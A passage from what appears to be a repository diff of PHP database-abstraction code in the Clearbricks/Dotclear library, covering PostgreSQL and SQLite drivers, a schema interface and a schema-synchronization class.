if (($link = @pg_pconnect($str)) === false) {
throw new Exception('Unable to connect to database');
}
$this->db_post_connect($link);
return $link;
}
/**
* Post connection helper
*
* @param mixed $handle The DB handle
*/
private function db_post_connect($handle): void
{
if (version_compare($this->db_version($handle), '9.1') >= 0) {
// Only for PostgreSQL 9.1+
$result = $this->db_query($handle, "SELECT * FROM pg_collation WHERE (collcollate LIKE '%.utf8')");
if ($this->db_num_rows($result) > 0) {
$this->db_result_seek($result, 0);
$row = $this->db_fetch_assoc($result);
$this->utf8_unicode_ci = '"' . $row['collname'] . '"';
}
}
}
/**
* Close DB connection
*
* @param mixed $handle The DB handle
*/
public function db_close($handle): void
{
if (is_resource($handle) || (class_exists('PgSql\Connection') && $handle instanceof PgSql\Connection)) {
pg_close($handle);
}
}
/**
* Get DB version
*
* @param mixed $handle The handle
*
* @return string
*/
public function db_version($handle): string
{
if (is_resource($handle) || (class_exists('PgSql\Connection') && $handle instanceof PgSql\Connection)) {
return pg_parameter_status($handle, 'server_version');
}
return '';
}
/**
* Execute a DB query
*
* @param mixed $handle The handle
* @param string $query The query
*
* @throws Exception
*
* @return mixed
*/
public function db_query($handle, string $query)
{
if (is_resource($handle) || (class_exists('PgSql\Connection') && $handle instanceof PgSql\Connection)) {
$res = @pg_query($handle, $query);
if ($res === false) {
throw new Exception($this->db_last_error($handle));
}
return $res;
}
}
/**
* db_query() alias
*
* @param mixed $handle The handle
* @param string $query The query
*
* @return mixed
*/
public function db_exec($handle, string $query)
{
return $this->db_query($handle, $query);
}
/**
* Get number of fields in result
*
* @param mixed $res The resource
*
* @return int
*/
public function db_num_fields($res): int
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_num_fields($res);
}
return 0;
}
/**
* Get number of rows in result
*
* @param mixed $res The resource
*
* @return int
*/
public function db_num_rows($res): int
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_num_rows($res);
}
return 0;
}
/**
* Get field name in result
*
* @param mixed $res The resource
* @param int $position The position
*
* @return string
*/
public function db_field_name($res, int $position): string
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_field_name($res, $position);
}
return '';
}
/**
* Get field type in result
*
* @param mixed $res The resource
* @param int $position The position
*
* @return string
*/
public function db_field_type($res, int $position): string
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_field_type($res, $position);
}
return '';
}
/**
* Fetch result data
*
* @param mixed $res The resource
*
* @return array|false
*/
public function db_fetch_assoc($res)
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_fetch_assoc($res);
}
return false;
}
/**
* Seek in result
*
* @param mixed $res The resource
* @param int $row The row
*
* @return bool
*/
public function db_result_seek($res, int $row): bool
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_result_seek($res, (int) $row);
}
return false;
}
/**
* Get number of affected rows in last INSERT, DELETE or UPDATE query
*
* @param mixed $handle The DB handle
* @param mixed $res The resource
*
* @return int
*/
public function db_changes($handle, $res): int
{
if (is_resource($res) || (class_exists('PgSql\Result') && $res instanceof PgSql\Result)) {
return pg_affected_rows($res);
}
return 0;
}
/**
* Get last query error, if any
*
* @param mixed $handle The handle
*
* @return bool|string
*/
public function db_last_error($handle)
{
if (is_resource($handle) || (class_exists('PgSql\Connection') && $handle instanceof PgSql\Connection)) {
return pg_last_error($handle);
}
return false;
}
/**
* Escape a string (to be used in a SQL query)
*
* @param mixed $str The string
* @param mixed $handle The DB handle
*
* @return string
*/
public function db_escape_string($str, $handle = null): string
{
if (is_resource($handle) || (class_exists('PgSql\Connection') && $handle instanceof PgSql\Connection)) {
return pg_escape_string($handle, $str);
}
return addslashes($str);
}
/**
* Locks a table
*
* @param string $table The table
*/
public function db_write_lock(string $table): void
{
$this->execute('BEGIN');
$this->execute('LOCK TABLE ' . $this->escapeSystem($table) . ' IN EXCLUSIVE MODE');
}
/**
* Unlock tables
*/
public function db_unlock(): void
{
$this->execute('END');
}
/**
* Optimize a table
*
* @param string $table The table
*/
public function vacuum(string $table): void
{
$this->execute('VACUUM FULL ' . $this->escapeSystem($table));
}
/**
* Get a date to be used in SQL query
*
* @param string $field The field
* @param string $pattern The pattern
*
* @return string
*/
public function dateFormat(string $field, string $pattern): string
{
$rep = [
'%d' => 'DD',
'%H' => 'HH24',
'%M' => 'MI',
'%m' => 'MM',
'%S' => 'SS',
'%Y' => 'YYYY',
];
$pattern = str_replace(array_keys($rep), array_values($rep), $pattern);
return 'TO_CHAR(' . $field . ',' . "'" . $this->escape($pattern) . "') ";
}
/**
* Get an ORDER BY fragment to be used in a SQL query
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function orderBy(...$args): string
{
$default = [
'order' => '',
'collate' => false,
];
foreach ($args as $v) {
if (is_string($v)) {
$res[] = $v;
} elseif (is_array($v) && !empty($v['field'])) {
$v = array_merge($default, $v);
$v['order'] = (strtoupper($v['order']) == 'DESC' ? 'DESC' : '');
if ($v['collate']) {
if ($this->utf8_unicode_ci) {
$res[] = $v['field'] . ' COLLATE ' . $this->utf8_unicode_ci . ' ' . $v['order'];
} else {
$res[] = 'LOWER(' . $v['field'] . ') ' . $v['order'];
}
} else {
$res[] = $v['field'] . ' ' . $v['order'];
}
}
}
return empty($res) ? '' : ' ORDER BY ' . implode(',', $res) . ' ';
}
/**
* Get fields concerned by lexical sort
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function lexFields(...$args): string
{
$fmt = $this->utf8_unicode_ci ? '%s COLLATE ' . $this->utf8_unicode_ci : 'LOWER(%s)';
foreach ($args as $v) {
if (is_string($v)) {
$res[] = sprintf($fmt, $v);
} elseif (is_array($v)) {
$res = array_map(fn ($i) => sprintf($fmt, $i), $v);
}
}
return empty($res) ? '' : implode(',', $res);
}
/**
* Function call
*
* Calls a PostgreSQL function an returns the result as a {@link record}.
* After <var>$name</var>, you can add any parameters you want to append
* them to the PostgreSQL function. You don't need to escape string in
* arguments.
*
* @param string $name Function name
*
* @return record
*/
public function callFunction(string $name, ...$data): record
{
foreach ($data as $k => $v) {
if (is_null($v)) {
$data[$k] = 'NULL';
} elseif (is_string($v)) {
$data[$k] = "'" . $this->escape($v) . "'";
} elseif (is_array($v)) {
$data[$k] = $v[0];
} else {
$data[$k] = $v;
}
}
$req = 'SELECT ' . $name . "(\n" .
implode(",\n", array_values($data)) .
"\n) ";
return $this->select($req);
}
}

View file

@ -0,0 +1,459 @@
<?php
/**
* @class sqliteConnection
* @brief SQLite Database Driver
*
* See the {@link dbLayer} documentation for common methods.
*
* @package Clearbricks
* @subpackage DBLayer
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class sqliteConnection extends dbLayer implements i_dbLayer
{
protected $__driver = 'sqlite';
protected $__syntax = 'sqlite';
protected $utf8_unicode_ci = null;
protected $vacuum = false;
/**
* Open a DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @throws Exception
*
* @return mixed
*/
public function db_connect(string $host, string $user, string $password, string $database)
{
if (!class_exists('PDO') || !in_array('sqlite', PDO::getAvailableDrivers())) {
throw new Exception('PDO SQLite class is not available');
}
$link = new PDO('sqlite:' . $database);
$this->db_post_connect($link);
return $link;
}
/**
* Open a persistant DB connection
*
* @param string $host The host
* @param string $user The user
* @param string $password The password
* @param string $database The database
*
* @return mixed
*/
public function db_pconnect(string $host, string $user, string $password, string $database)
{
if (!class_exists('PDO') || !in_array('sqlite', PDO::getAvailableDrivers())) {
throw new Exception('PDO SQLite class is not available');
}
$link = new PDO('sqlite:' . $database, null, null, [PDO::ATTR_PERSISTENT => true]);
$this->db_post_connect($link);
return $link;
}
/**
* Post connection helper
*
* @param mixed $handle The DB handle
*/
private function db_post_connect($handle): void
{
if ($handle instanceof PDO) {
$this->db_exec($handle, 'PRAGMA short_column_names = 1');
$this->db_exec($handle, 'PRAGMA encoding = "UTF-8"');
$handle->sqliteCreateFunction('now', [$this, 'now'], 0);
if (class_exists('Collator') && method_exists($handle, 'sqliteCreateCollation')) {
$this->utf8_unicode_ci = new Collator('root');
if (!$handle->sqliteCreateCollation('utf8_unicode_ci', [$this->utf8_unicode_ci, 'compare'])) {
$this->utf8_unicode_ci = null;
}
}
}
}
/**
* Close DB connection
*
* @param mixed $handle The DB handle
*/
public function db_close($handle): void
{
if ($handle instanceof PDO) {
if ($this->vacuum) {
$this->db_exec($handle, 'VACUUM');
}
$handle = null;
$this->__link = null;
}
}
/**
* Get DB version
*
* @param mixed $handle The handle
*
* @return string
*/
public function db_version($handle): string
{
return $handle instanceof PDO ? $handle->getAttribute(PDO::ATTR_SERVER_VERSION) : '';
}
/**
* Get query data in a staticRecord
*
* There is no other way than get all selected data in a staticRecord with SQlite
*
* @param string $sql The sql
*
* @return staticRecord The static record.
*/
public function select(string $sql): staticRecord
{
$result = $this->db_query($this->__link, $sql);
$this->__last_result = &$result;
$info = [];
$info['con'] = &$this;
$info['cols'] = $this->db_num_fields($result);
$info['info'] = [];
for ($i = 0; $i < $info['cols']; $i++) {
$info['info']['name'][] = $this->db_field_name($result, $i);
$info['info']['type'][] = $this->db_field_type($result, $i);
}
$data = [];
while ($r = $result->fetch(PDO::FETCH_ASSOC)) { // @phpstan-ignore-line
$R = [];
foreach ($r as $k => $v) {
$k = preg_replace('/^(.*)\./', '', $k);
$R[$k] = $v;
$R[] = &$R[$k];
}
$data[] = $R;
}
$info['rows'] = count($data);
$result->closeCursor(); // @phpstan-ignore-line
return new staticRecord($data, $info);
}
/**
* Execute a DB query
*
* @param mixed $handle The handle
* @param string $query The query
*
* @throws Exception
*
* @return mixed
*/
public function db_query($handle, string $query)
{
if ($handle instanceof PDO) {
$res = $handle->query($query);
if ($res === false) {
throw new Exception($this->db_last_error($handle));
}
return $res;
}
return null;
}
/**
* db_query() alias
*
* @param mixed $handle The handle
* @param string $query The query
*
* @return mixed
*/
public function db_exec($handle, string $query)
{
return $this->db_query($handle, $query);
}
/**
* Get number of fields in result
*
* @param mixed $res The resource
*
* @return int
*/
public function db_num_fields($res): int
{
return $res instanceof PDOStatement ? $res->columnCount() : 0;
}
/**
* Get number of rows in result
*
* @param mixed $res The resource
*
* @return int
*/
public function db_num_rows($res): int
{
return 0;
}
/**
* Get field name in result
*
* @param mixed $res The resource
* @param int $position The position
*
* @return string
*/
public function db_field_name($res, int $position): string
{
if ($res instanceof PDOStatement) {
$m = $res->getColumnMeta($position);
return preg_replace('/^.+\./', '', $m['name']); # we said short_column_names = 1
}
return '';
}
/**
* Get field type in result
*
* @param mixed $res The resource
* @param int $position The position
*
* @return string
*/
public function db_field_type($res, int $position): string
{
if ($res instanceof PDOStatement) {
$m = $res->getColumnMeta($position);
switch ($m['pdo_type']) {
case PDO::PARAM_BOOL:
return 'boolean';
case PDO::PARAM_NULL:
return 'null';
case PDO::PARAM_INT:
return 'integer';
default:
return 'varchar';
}
}
return '';
}
/**
* Fetch result data
*
* @param mixed $res The resource
*
* @return array|false
*/
public function db_fetch_assoc($res)
{
return false;
}
/**
* Seek in result
*
* @param mixed $res The resource
* @param int $row The row
*
* @return bool
*/
public function db_result_seek($res, $row): bool
{
return false;
}
/**
* Get number of affected rows in last INSERT, DELETE or UPDATE query
*
* @param mixed $handle The DB handle
* @param mixed $res The resource
*
* @return int
*/
public function db_changes($handle, $res): int
{
return $res instanceof PDOStatement ? $res->rowCount() : 0;
}
/**
* Get last query error, if any
*
* @param mixed $handle The handle
*
* @return bool|string
*/
public function db_last_error($handle)
{
if ($handle instanceof PDO) {
$err = $handle->errorInfo();
return $err[2] . ' (' . $err[1] . ')';
}
return false;
}
/**
* Escape a string (to be used in a SQL query)
*
* @param mixed $str The string
* @param mixed $handle The DB handle
*
* @return string
*/
public function db_escape_string($str, $handle = null): string
{
return $handle instanceof PDO ? trim($handle->quote($str), "'") : $str;
}
public function escapeSystem(string $str): string
{
return "'" . $this->escape($str) . "'";
}
public function begin(): void
{
if ($this->__link instanceof PDO) {
$this->__link->beginTransaction();
}
}
public function commit(): void
{
if ($this->__link instanceof PDO) {
$this->__link->commit();
}
}
public function rollback(): void
{
if ($this->__link instanceof PDO) {
$this->__link->rollBack();
}
}
/**
* Locks a table
*
* @param string $table The table
*/
public function db_write_lock(string $table): void
{
$this->execute('BEGIN EXCLUSIVE TRANSACTION');
}
/**
* Unlock tables
*/
public function db_unlock(): void
{
$this->execute('END');
}
/**
* Optimize a table
*
* @param string $table The table
*/
public function vacuum(string $table): void
{
$this->vacuum = true;
}
/**
* Get a date to be used in SQL query
*
* @param string $field The field
* @param string $pattern The pattern
*
* @return string
*/
public function dateFormat(string $field, string $pattern): string
{
return "strftime('" . $this->escape($pattern) . "'," . $field . ') ';
}
/**
* Get an ORDER BY fragment to be used in a SQL query
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function orderBy(...$args): string
{
$default = [
'order' => '',
'collate' => false,
];
foreach ($args as $v) {
if (is_string($v)) {
$res[] = $v;
} elseif (is_array($v) && !empty($v['field'])) {
$v = array_merge($default, $v);
$v['order'] = (strtoupper($v['order']) == 'DESC' ? 'DESC' : '');
if ($v['collate']) {
if ($this->utf8_unicode_ci instanceof Collator) {
$res[] = $v['field'] . ' COLLATE utf8_unicode_ci ' . $v['order'];
} else {
$res[] = 'LOWER(' . $v['field'] . ') ' . $v['order'];
}
} else {
$res[] = $v['field'] . ' ' . $v['order'];
}
}
}
return empty($res) ? '' : ' ORDER BY ' . implode(',', $res) . ' ';
}
/**
* Get fields concerned by lexical sort
*
* @param mixed ...$args The arguments
*
* @return string
*/
public function lexFields(...$args): string
{
$fmt = $this->utf8_unicode_ci instanceof Collator ? '%s COLLATE utf8_unicode_ci' : 'LOWER(%s)';
foreach ($args as $v) {
if (is_string($v)) {
$res[] = sprintf($fmt, $v);
} elseif (is_array($v)) {
$res = array_map(fn ($i) => sprintf($fmt, $i), $v);
}
}
return empty($res) ? '' : implode(',', $res);
}
# Internal SQLite function that adds NOW() SQL function.
public function now()
{
return date('Y-m-d H:i:s');
}
}

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,551 @@
<?php
/**
* @interface i_dbSchema
*
* @package Clearbricks
* @subpackage DBSchema
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
interface i_dbSchema
{
/**
* This method should return an array of all tables in database for the current connection.
*
* @return array<string>
*/
public function db_get_tables(): array;
/**
* This method should return an associative array of columns in given table
* <var>$table</var> with column names in keys. Each line value is an array
* with following values:
*
* - [type] data type (string)
* - [len] data length (integer or null)
* - [null] is null? (boolean)
* - [default] default value (string)
*
* @param string $table Table name
*
* @return array
*/
public function db_get_columns(string $table): array;
/**
* This method should return an array of keys in given table
* <var>$table</var>. Each line value is an array with following values:
*
* - [name] index name (string)
* - [primary] primary key (boolean)
* - [unique] unique key (boolean)
* - [cols] columns (array)
*
* @param string $table Table name
*
* @return array
*/
public function db_get_keys(string $table): array;
/**
* This method should return an array of indexes in given table
* <var>$table</var>. Each line value is an array with following values:
*
* - [name] index name (string)
* - [type] index type (string)
* - [cols] columns (array)
*
* @param string $table Table name
*
* @return array
*/
public function db_get_indexes(string $table): array;
/**
* This method should return an array of foreign keys in given table
* <var>$table</var>. Each line value is an array with following values:
*
* - [name] key name (string)
* - [c_cols] child columns (array)
* - [p_table] parent table (string)
* - [p_cols] parent columns (array)
* - [update] on update statement (string)
* - [delete] on delete statement (string)
*
* @param string $table Table name
*
* @return array
*/
public function db_get_references(string $table): array;
/**
* Create table
*
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_table(string $name, array $fields): void;
/**
* Create a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default
*/
public function db_create_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void;
/**
* Create primary index
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_primary(string $table, string $name, array $fields): void;
/**
* Create unique field
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_unique(string $table, string $name, array $fields): void;
/**
* Create index
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*/
public function db_create_index(string $table, string $name, string $type, array $fields): void;
/**
* Create reference
*
* @param string $name The name
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param bool|string $update The update
* @param bool|string $delete The delete
*/
public function db_create_reference(string $name, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void;
/**
* Modify field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default
*/
public function db_alter_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void;
/**
* Modify primary index
*
* @param string $table The table
* @param string $name The name
* @param string $newname The new name
* @param array $fields The fields
*/
public function db_alter_primary(string $table, string $name, string $newname, array $fields): void;
/**
* Modify unique field
*
* @param string $table The table
* @param string $name The name
* @param string $newname The new name
* @param array $fields The fields
*/
public function db_alter_unique(string $table, string $name, string $newname, array $fields): void;
/**
* Modify index
*
* @param string $table The table
* @param string $name The name
* @param string $newname The new name
* @param string $type The type
* @param array $fields The fields
*/
public function db_alter_index(string $table, string $name, string $newname, string $type, array $fields): void;
/**
* Modify reference
*
* @param string $name The name
* @param string $newname The new name
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param bool|string $update The update
* @param bool|string $delete The delete
*/
public function db_alter_reference(string $name, string $newname, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void;
/**
* Drop unique
*
* @param string $table The table
* @param string $name The name
*/
public function db_drop_unique(string $table, string $name): void;
}
/**
* @class dbSchema
*
* @package Clearbricks
* @subpackage DBSchema
*/
class dbSchema
{
/**
* @var mixed DB handle
*/
protected $con;
/**
* Constructs a new instance.
*
* @param mixed $con The DB handle
*/
public function __construct($con)
{
$this->con = &$con;
}
/**
* Initializes the driver.
*
* @param mixed $con The DB handle
*
* @return mixed
*/
public static function init($con)
{
$driver = $con->driver();
$driver_class = $driver . 'Schema';
if (!class_exists($driver_class)) {
if (file_exists(__DIR__ . '/class.' . $driver . '.dbschema.php')) {
require __DIR__ . '/class.' . $driver . '.dbschema.php';
} else {
trigger_error('Unable to load DB schema layer for ' . $driver, E_USER_ERROR);
exit(1); // @phpstan-ignore-line
}
}
return new $driver_class($con);
}
/**
* Database data type to universal data type conversion.
*
* @param string $type Type name
* @param int $len Field length (in/out)
* @param mixed $default Default field value (in/out)
*
* @return string
*/
public function dbt2udt(string $type, ?int &$len, &$default): string
{
$map = [
'bool' => 'boolean',
'int2' => 'smallint',
'int' => 'integer',
'int4' => 'integer',
'int8' => 'bigint',
'float4' => 'real',
'double precision' => 'float',
'float8' => 'float',
'decimal' => 'numeric',
'character varying' => 'varchar',
'character' => 'char',
];
return $map[$type] ?? $type;
}
/**
* Universal data type to database data tye conversion.
*
* @param string $type Type name
* @param integer $len Field length (in/out)
* @param string $default Default field value (in/out)
*
* @return string
*/
public function udt2dbt(string $type, ?int &$len, &$default): string
{
return $type;
}
/**
* Returns an array of all table names.
*
* @see i_dbSchema::db_get_tables
*
* @return array<string>
*/
public function getTables(): array
{
/* @phpstan-ignore-next-line */
return $this->db_get_tables();
}
/**
* Returns an array of columns (name and type) of a given table.
*
* @see i_dbSchema::db_get_columns
*
* @param string $table Table name
*
* @return array<string>
*/
public function getColumns(string $table): array
{
/* @phpstan-ignore-next-line */
return $this->db_get_columns($table);
}
/**
* Returns an array of index of a given table.
*
* @see i_dbSchema::db_get_keys
*
* @param string $table Table name
*
* @return array<string>
*/
public function getKeys(string $table): array
{
/* @phpstan-ignore-next-line */
return $this->db_get_keys($table);
}
/**
* Returns an array of indexes of a given table.
*
* @see i_dbSchema::db_get_index
*
* @param string $table Table name
*
* @return array<string>
*/
public function getIndexes(string $table): array
{
/* @phpstan-ignore-next-line */
return $this->db_get_indexes($table);
}
/**
* Returns an array of foreign keys of a given table.
*
* @see i_dbSchema::db_get_references
*
* @param string $table Table name
*
* @return array<string>
*/
public function getReferences(string $table): array
{
/* @phpstan-ignore-next-line */
return $this->db_get_references($table);
}
/**
* Creates a table.
*
* @param string $name The name
* @param array $fields The fields
*/
public function createTable(string $name, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_create_table($name, $fields);
}
/**
* Creates a field.
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default value
*/
public function createField(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
/* @phpstan-ignore-next-line */
$this->db_create_field($table, $name, $type, $len, $null, $default);
}
/**
* Creates a primary key.
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function createPrimary(string $table, string $name, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_create_primary($table, $name, $fields);
}
/**
* Creates an unique key.
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function createUnique(string $table, string $name, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_create_unique($table, $name, $fields);
}
/**
* Creates an index.
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*/
public function createIndex(string $table, string $name, string $type, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_create_index($table, $name, $type, $fields);
}
/**
* Creates a reference.
*
* @param string $name The name
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param string|bool $update The update
* @param string|bool $delete The delete
*/
public function createReference(string $name, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
/* @phpstan-ignore-next-line */
$this->db_create_reference($name, $table, $fields, $foreign_table, $foreign_fields, $update, $delete);
}
/**
* Modify a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default value
*/
public function alterField(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
/* @phpstan-ignore-next-line */
$this->db_alter_field($table, $name, $type, $len, $null, $default);
}
/**
* Modify a primary key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*/
public function alterPrimary(string $table, string $name, string $newname, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_alter_primary($table, $name, $newname, $fields);
}
/**
* Modify a unique key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*/
public function alterUnique(string $table, string $name, string $newname, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_alter_unique($table, $name, $newname, $fields);
}
/**
* Modify an index
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param string $type The type
* @param array $fields The fields
*/
public function alterIndex(string $table, string $name, string $newname, string $type, array $fields): void
{
/* @phpstan-ignore-next-line */
$this->db_alter_index($table, $name, $newname, $type, $fields);
}
/**
* Modify a reference (foreign key)
*
* @param string $name The name
* @param string $newname The newname
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param string|bool $update The update
* @param string|bool $delete The delete
*/
public function alterReference(string $name, string $newname, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
/* @phpstan-ignore-next-line */
$this->db_alter_reference($name, $newname, $table, $fields, $foreign_table, $foreign_fields, $update, $delete);
}
/**
* Remove a unique key
*
* @param string $table The table
* @param string $name The name
*/
public function dropUnique(string $table, string $name): void
{
/* @phpstan-ignore-next-line */
$this->db_drop_unique($table, $name);
}
/**
* Flush stack
*/
public function flushStack()
{
}
}

View file

@ -0,0 +1,829 @@
<?php
/**
* @class dbStruct
*
* @package Clearbricks
* @subpackage DBSchema
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class dbStruct
{
/**
* @var mixed instance
*/
protected $con;
/**
* @var string DB table prefix
*/
protected $prefix;
/**
* Stack of DB tables
*
* @var array
*/
protected $tables = [];
/**
* Stack of References (foreign keys)
*
* @var array
*/
protected $references = [];
/**
* Constructs a new instance.
*
* @param mixed $con The DB handle
* @param string $prefix The DB table prefix
*/
public function __construct($con, string $prefix = '')
{
$this->con = &$con;
$this->prefix = $prefix;
}
/**
* Get driver name
*
* @return string
*/
public function driver(): string
{
return $this->con->driver();
}
/**
* Set a new table
*
* @param string $name The name
*
* @return dbStructTable The database structure table.
*/
public function table(string $name): dbStructTable
{
$this->tables[$name] = new dbStructTable($name);
return $this->tables[$name];
}
/**
* Gets the specified table (create it if necessary).
*
* @param string $name The table name
*
* @return dbStructTable The database structure table.
*/
public function __get(string $name): dbStructTable
{
if (!isset($this->tables[$name])) {
return $this->table($name);
}
return $this->tables[$name];
}
/**
* Populate dbSchema instance from database structure
*/
public function reverse(): void
{
$schema = dbSchema::init($this->con);
# Get tables
$tables = $schema->getTables();
foreach ($tables as $table_name) {
if ($this->prefix && strpos($table_name, $this->prefix) !== 0) {
continue;
}
$table = $this->table($table_name);
# Get fields
$fields = $schema->getColumns($table_name);
foreach ($fields as $field_name => $field) {
$type = $schema->dbt2udt($field['type'], $field['len'], $field['default']);
$table->field($field_name, $type, $field['len'], $field['null'], $field['default'], true);
}
# Get keys
$keys = $schema->getKeys($table_name);
foreach ($keys as $key) {
$fields = $key['cols'];
if ($key['primary']) {
$table->primary($key['name'], ...$fields);
} elseif ($key['unique']) {
$table->unique($key['name'], ...$fields);
}
}
# Get indexes
$indexes = $schema->getIndexes($table_name);
foreach ($indexes as $index) {
$table->index($index['name'], $index['type'], ...$index['cols']);
}
# Get foreign keys
$references = $schema->getReferences($table_name);
foreach ($references as $reference) {
$table->reference($reference['name'], $reference['c_cols'], $reference['p_table'], $reference['p_cols'], $reference['update'], $reference['delete']);
}
}
}
/**
* Synchronize this schema taken from database with $schema.
*
* @param dbStruct $s Structure to synchronize with
*/
public function synchronize(dbStruct $s)
{
$this->tables = [];
$this->reverse();
if (!($s instanceof self)) {
throw new Exception('Invalid database schema');
}
$tables = $s->getTables();
$table_create = [];
$key_create = [];
$index_create = [];
$reference_create = [];
$field_create = [];
$field_update = [];
$key_update = [];
$index_update = [];
$reference_update = [];
$got_work = false;
$schema = dbSchema::init($this->con);
foreach ($tables as $tname => $t) {
if (!$this->tableExists($tname)) {
# Table does not exist, create table
$table_create[$tname] = $t->getFields();
# Add keys, indexes and references
$keys = $t->getKeys();
$indexes = $t->getIndexes();
$references = $t->getReferences();
foreach ($keys as $k => $v) {
$key_create[$tname][$this->prefix . $k] = $v;
}
foreach ($indexes as $k => $v) {
$index_create[$tname][$this->prefix . $k] = $v;
}
foreach ($references as $k => $v) {
$v['p_table'] = $this->prefix . $v['p_table'];
$reference_create[$tname][$this->prefix . $k] = $v;
}
$got_work = true;
} else { # Table exists
# Check new fields to create
$fields = $t->getFields();
/* @phpstan-ignore-next-line */
$db_fields = $this->tables[$tname]->getFields();
foreach ($fields as $fname => $f) {
/* @phpstan-ignore-next-line */
if (!$this->tables[$tname]->fieldExists($fname)) {
# Field doest not exist, create it
$field_create[$tname][$fname] = $f;
$got_work = true;
} elseif ($this->fieldsDiffer($db_fields[$fname], $f)) {
# Field exists and differs from db version
$field_update[$tname][$fname] = $f;
$got_work = true;
}
}
# Check keys to add or upgrade
$keys = $t->getKeys();
/* @phpstan-ignore-next-line */
$db_keys = $this->tables[$tname]->getKeys();
foreach ($keys as $kname => $k) {
if ($k['type'] == 'primary' && $this->con->syntax() == 'mysql') {
$kname = 'PRIMARY';
} else {
$kname = $this->prefix . $kname;
}
/* @phpstan-ignore-next-line */
$db_kname = $this->tables[$tname]->keyExists($kname, $k['type'], $k['cols']);
if (!$db_kname) {
# Key does not exist, create it
$key_create[$tname][$kname] = $k;
$got_work = true;
} elseif ($this->keysDiffer($db_kname, $db_keys[$db_kname]['cols'], $kname, $k['cols'])) {
# Key exists and differs from db version
$key_update[$tname][$db_kname] = array_merge(['name' => $kname], $k);
$got_work = true;
}
}
# Check index to add or upgrade
$idx = $t->getIndexes();
/* @phpstan-ignore-next-line */
$db_idx = $this->tables[$tname]->getIndexes();
foreach ($idx as $iname => $i) {
$iname = $this->prefix . $iname;
/* @phpstan-ignore-next-line */
$db_iname = $this->tables[$tname]->indexExists($iname, $i['type'], $i['cols']);
if (!$db_iname) {
# Index does not exist, create it
$index_create[$tname][$iname] = $i;
$got_work = true;
} elseif ($this->indexesDiffer($db_iname, $db_idx[$db_iname], $iname, $i)) {
# Index exists and differs from db version
$index_update[$tname][$db_iname] = array_merge(['name' => $iname], $i);
$got_work = true;
}
}
# Check references to add or upgrade
$ref = $t->getReferences();
/* @phpstan-ignore-next-line */
$db_ref = $this->tables[$tname]->getReferences();
foreach ($ref as $rname => $r) {
$rname = $this->prefix . $rname;
$r['p_table'] = $this->prefix . $r['p_table'];
/* @phpstan-ignore-next-line */
$db_rname = $this->tables[$tname]->referenceExists($rname, $r['c_cols'], $r['p_table'], $r['p_cols']);
if (!$db_rname) {
# Reference does not exist, create it
$reference_create[$tname][$rname] = $r;
$got_work = true;
} elseif ($this->referencesDiffer($db_rname, $db_ref[$db_rname], $rname, $r)) {
$reference_update[$tname][$db_rname] = array_merge(['name' => $rname], $r);
$got_work = true;
}
}
}
}
if (!$got_work) {
return;
}
# Create tables
foreach ($table_create as $table => $fields) {
$schema->createTable($table, $fields);
}
# Create new fields
foreach ($field_create as $tname => $fields) {
foreach ($fields as $fname => $f) {
$schema->createField($tname, $fname, $f['type'], $f['len'], $f['null'], $f['default']);
}
}
# Update fields
